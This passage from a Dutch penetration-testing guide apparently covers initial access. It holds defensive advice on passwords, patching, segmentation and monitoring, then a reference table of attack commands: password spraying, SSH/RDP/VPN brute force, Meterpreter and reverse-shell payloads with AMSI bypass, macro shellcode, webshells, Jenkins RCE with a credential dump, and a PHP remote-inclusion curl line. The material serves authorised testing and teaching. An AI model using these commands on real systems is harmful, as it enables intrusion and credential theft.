karakters. En het staat in elke woordenlijst die ooit is gemaakt.
Ondertussen zou mijn hond eet graag kaas op dinsdag een
fantastisch wachtwoord zijn – lang, willekeurig, makkelijk te onthouden
– maar het voldoet niet aan het beleid omdat er geen hoofdletter en geen
speciaal teken in zit. We hebben een systeem gebouwd dat slechte
wachtwoorden afdwingt en goede wachtwoorden afwijst. Dat is geen bug,
dat is het ontwerp.
En Jenkins? Jenkins is de perfecte metafoor voor de staat van IT-beveiliging in het algemeen. We bouwen een systeem waarvan de letterlijke functie is “voer willekeurige code uit op een server”, geven het admin-rechten, zetten het op het netwerk, en vragen ons vervolgens af hoe de aanvallers zijn binnengekomen. Dat is alsof je een gewapende waakhond in je kantoor zet en dan verbaasd bent als hij iemand bijt.
Office macro’s zijn al twintig jaar een aanvalsvector, en ze werken nog steeds. Niet omdat de verdedigingen niet bestaan – ze bestaan. Maar omdat ergens in elke organisatie een manager is die zegt “schakel die macro-beveiliging uit, want mijn spreadsheet werkt niet meer.” En de IT-afdeling doet het. Omdat de manager hoger in de hierarchie staat dan het beveiligingsbeleid. Altijd.
3.8 Verdediging: hoe je dit voorkomt
Dit is het punt waar we even onze aanvallerspet afzetten en praktisch worden. Want het is leuk om kwetsbaarheden te vinden, maar het is nuttiger om ze te voorkomen.
3.8.1 Wachtwoordbeleid
- Blokkeer veelgebruikte wachtwoorden: gebruik een banned password list met seizoenen, bedrijfsnamen en bekende patronen
- Langere wachtwoorden: dwing minimaal 14 karakters af, liever 20+
- Passphrases aanmoedigen:
mijn hond eet graag kaasis beter danP@ssw0rd1! - MFA overal: TOTP, FIDO2, of push-notificaties – alles is beter dan alleen een wachtwoord
- Account lockout met monitoring: lockout na 5 pogingen, maar monitor ook de mislukte pogingen
3.8.2 Patch management
- Jenkins: update regelmatig, beperk toegang tot
/scripten/manage - WordPress: automatische updates voor plugins en themes
- PHP: upgrade naar ondersteunde versies, schakel
allow_url_includeuit - Office: schakel macro’s uit voor bestanden van internet (Mark-of-the-Web)
3.8.3 Netwerk segmentatie
- Jenkins: niet op het gebruikersnetwerk, niet op het internet
- FTP: vervang door SFTP, of beperk tot specifieke IP-adressen
- Management interfaces: alleen bereikbaar vanuit een jump host of VPN
3.8.4 E-mail filtering
- Blokkeer macro-enabled bestanden:
.docm,.xlsm,.pptmals bijlagen - Sandboxing: open bijlagen in een sandbox voor analyse
- SPF, DKIM, DMARC: implementeer alle drie om spoofing te voorkomen
- Gebruikerstraining: ja, het helpt. Niet perfect, maar het helpt
3.8.5 Monitoring en detectie
Verdediging is niet alleen preventie – het is ook detectie. Zelfs de beste preventieve maatregelen falen soms. Zorg dat je het merkt wanneer dat gebeurt:
- Mislukte logins monitoren: een plotselinge golf van mislukte logins op meerdere accounts is een duidelijk teken van password spraying
- Anomaliedetectie: een gebruiker die plotseling inlogt om 3:00 ’s nachts vanuit een onbekend IP-adres verdient aandacht
- Endpoint Detection and Response (EDR): detecteert verdachte processen, shellcode-injectie en laterale beweging
- Network monitoring: ongebruikelijke uitgaande verbindingen (reverse shells) naar onbekende IP-adressen
- Honeypots: nep-accounts met eenvoudige wachtwoorden die een alert triggeren wanneer iemand probeert in te loggen
- Jenkins audit logging: wie heeft de Script Console gebruikt? Wie heeft Jobs gewijzigd?
De ironie is dat veel van deze aanvallen maanden onontdekt blijven – niet omdat de detectie zo moeilijk is, maar omdat niemand naar de logs kijkt. Een SIEM die logs verzamelt maar waar niemand op reageert, is een duur meubelstuk.
3.9 Samenvatting
Initiële toegang is zelden geavanceerd. Het is geduld, voorbereiding en het systematisch uitbuiten van menselijke feilbaarheid:
- Password spraying werkt omdat mensen voorspelbare wachtwoorden kiezen – ken de lockout policy en spray voorzichtig
- Brute force is last resort – gebruik Crowbar voor RDP, Hydra voor de rest, en hou de thread count laag
- Woordenlijsten maken of breken je aanval – combineer CeWL, crunch en mutatie-regels
- IB’s payload generators produceren kant-en-klare executables, scripts en documenten – van XOR-encrypted C# tot VBA macro’s
- Office macro’s werken door social engineering, niet door technische briljantie
- Jenkins is RCE-as-a-service als
/scriptbereikbaar is - RFI exploiteert slechte PHP-configuratie – IB kan zowel als payload host als als aanvalstool dienen
- Verdediging begint bij MFA, sterke wachtwoorden en netwerksegmentatie
3.10 Referentietabel
| Onderwerp | Tool/Commando | IB Component |
|---|---|---|
| Password spray (AD) | crackmapexec smb -u users.txt -p 'Wachtwoord' |
Commands: passwd_spray |
| Brute force SSH | hydra -L users.txt -P pass.txt ssh://TARGET |
Task Runner: brute_ssh |
| Brute force RDP | crowbar -b rdp -s TARGET/32 -U users.txt -C pass.txt |
Task Runner: brute_rdp |
| Brute force VPN | crowbar -b openvpn -s TARGET/32 -u user -C pass.txt |
Task Runner: brute_vpn |
| Weak SSH keys | crowbar -b sshkey |
Task Runner: weak_ssh |
| Wachtwoord generatie | crunch, cewl,
john --rules |
Commands: passwd_wordlist, Task Runner:
gen_passwords |
| Hash cracking | hashcat -m 1000, john |
Commands: passwd_brute |
| Lockout policy | crackmapexec smb --pass-pol |
Commands: passwd_spray |
| Meterpreter (C#) | IB genereert XOR-encrypted EXE | Web: /meterpreter |
| Meterpreter v2 | Met LURI support | Web: /meterpreter2 |
| PowerShell payload | AMSI bypass + reverse shell | Web: /powershell |
| Office macro | VBA shellcode in .docm/.xlsm | Web: /macro, /macro2 |
| ASPX webshell | XOR-encrypted C# ASPX | Web: /methaspx |
| Invoke-Shellcode | PowerShell x32+x64 loader | Web: /invokeshellcode |
| Msfvenom (CLI) | Alle formaten: exe, elf, asp, jsp, war | Handmatig |
| Metasploit handler | exploit/multi/handler |
Handmatig |
| Jenkins Groovy RCE | /script console |
Commands: exploit_jenkins |
| Jenkins build step | New Item -> Freestyle -> Execute shell | Commands: exploit_jenkins |
| Jenkins credentials | Groovy credential dump | Commands: exploit_jenkins |
| RFI php://input | curl -d '<?php system(...)' url?page=php://input |
Task Runner: rfi_input |
| FTP ASP upload | Anonymous FTP + webshell trigger | Task Runner: ftp_asp |
| HTTP payload server | IB serveert http/payloads/ |
Automatisch actief |
Vorige: Hoofdstuk 2 – Verkenning Volgende: Hoofdstuk 4 – Evasion